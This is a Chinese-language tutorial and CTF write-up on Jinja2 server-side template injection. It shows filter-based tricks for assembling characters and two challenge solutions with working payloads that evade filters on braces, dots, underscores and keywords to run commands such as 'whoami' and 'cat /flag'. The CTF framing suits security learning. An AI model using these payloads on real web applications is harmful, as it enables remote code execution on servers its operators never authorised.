SSTI服务端模板注入漏洞原理详解及利用姿势集锦


目录
  • Template Designer Documentation - Jinja Documentation (3.2.x)

    使用过滤器构造Payload,一般思路是利用这些过滤器,逐步拼接出需要的字符、数字或字符串。对于一般原始字符的获取方法有以下几种:

    {% set org = ({ }|select()|string()) %}{{org}}
    # 
    {% set org = (self|string()) %}{{org}}
    # 
    {% set org = self|string|urlencode %}{{org}}
    # %3CTemplateReference%20None%3E
    {% set org = (app.__doc__|string) %}{{org}}
    # Hello The default undefined type.  This undefined type can be printed and
    #    iterated over, but every other access will raise an :exc:`UndefinedError`:
    #
    #     >>> foo = Undefined(name='foo')
    #     >>> str(foo)
    #     ''
    #     >>> not foo
    #     True
    #     >>> foo + 42
    #     Traceback (most recent call last):
    #       ...
    #     jinja2.exceptions.UndefinedError: 'foo' is undefined
    {% set num = (self|int) %}{{num}}
    # 0
    {% set num = (self|string|length) %}{{num}}
    # 24
    {% set point = self|float|string|min %}{{point}}
    # .
    

    通过以上几种Payload,返回的字符串中包含尖括号、字母、空格、下划线、数字、空格、百分号、点号。
    我们的目标就是使用这些返回的字符串,结合各种过滤器,拼接出最终的Payload。

    实战例题

    [网络安全管理员职业技能大赛]EZSS

    进入页面,发现提示please get pid,尝试GET传参,发现回显参数值到页面了。
    结合题目名称以及返回报文头的Server信息,初步判断是一道SSTI题目。

    经过尝试,题目过滤了{{}},使用{%print %}来绕过,说明存在SSTI漏洞。

    ?pid={%print 7*7%}
    

    在这里插入图片描述
    题目还过滤了.,使用多个参数传入[request["args"]["a"]]来绕过,因为题目的过滤规则只对pid参数生效,我们把关键通过别的参数传入,再将参数值进行拼接即可。

    查看可用的类:

    ?pid={%print+()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()%}&a=__class__&b=__bases__&c=__subclasses__
    

    在这里插入图片描述

    执行命令并读取flag即可:

    {%print ()[request["args"]["a"]][request["args"]["b"]][0][request["args"]["c"]]()[146]('whoami',shell=True,stdout=-1)["stdout"]["readlines"]() %}&a=__class__&b=__bases__&c=__subclasses__&d=__init__&f=communicate
    

    在这里插入图片描述

    [Dest0g3 520迎新赛]EasySSTI

    进入题目是一个登录框,点击登录可以回显用户名,经过尝试发现存在SSTI:

    经过Fuzz,发现过滤了 _.'"[]等字符,还有各种class、request、eval等关键字。
    需要注入也就是需要程序执行的代码如下:

    __import__('os').popen('cat /flag').read()
    

    通过过滤器构造payload:

    {% set zero = (self|int) %}
    {% set one = (zero**zero)|int %}
    {% set two = (zero-one-one)|abs %}
    {% set four = (two*two)|int %}
    {% set five = (two*two*two)-one-one-one %}
    {% set three = five-one-one %}
    {% set nine = (two*two*two*two-five-one-one) %}
    {% set seven = (zero-one-one-five)|abs %}
    {% set space = self|string|min %}
    {% set point = self|float|string|min %}
    {% set c = dict(c=aa)|reverse|first %}
    {% set bfh = self|string|urlencode|first %}
    {% set bfhc = bfh~c %}
    {% set slas = bfhc%((four~seven)|int) %}
    {% set yin = bfhc%((three~nine)|int) %}
    {% set xhx = bfhc%((nine~five)|int) %}
    {% set right = bfhc%((four~one)|int) %}
    {% set left = bfhc%((four~zero)|int) %}
    {% set but = dict(buil=aa,tins=dd)|join %}
    {% set imp = dict(imp=aa,ort=dd)|join %}
    {% set pon = dict(po=aa,pen=dd)|join %}
    {% set so = dict(o=aa,s=dd)|join %}
    {% set ca = dict(ca=aa,t=dd)|join %}
    {% set ls = dict(ls=x)|join %}
    {% set ev = dict(ev=aa,al=dd)|join %}
    {% set red = dict(re=aa,ad=dd)|join %}
    {% set bul = xhx~xhx~but~xhx~xhx %}
    {% set ini = dict(ini=aa,t=bb)|join %}
    {% set glo = dict(glo=aa,bals=bb)|join %}
    {% set itm = dict(ite=aa,ms=bb)|join %}
    {% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right %}
    {% for f,v in (self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %}
        {% if f == bul %}
            {% for a,b in (v|attr(itm))() %}
                {% if a == ev %}
                    {{b(pld)}}
                {% endif %}
            {% endfor %}
        {% endif %}
    {% endfor %}
    

    空格绕过一般可以考虑以下:

    %20
    %09
    %0a
    %0b
    %0c
    %0d
    %a0
    %00

    本题可以使用%0c绕过,最终Payload如下:

    username={%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cls%0c=%0cdict(ls=x)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~(dict(flag=1)|join)~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{{b(pld)}}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}&password=admin
    

    参考链接

    以 Bypass 为中心谭谈 Flask-jinja2 SSTI 的利用 - 先知社区

    flask之ssti模版注入从零到入门 - 先知社区
    从SSTI到沙箱逃逸-jinja2
    CTFshow刷题日记-WEB-SSTI(web361-372)_OceanSec的博客-CSDN博客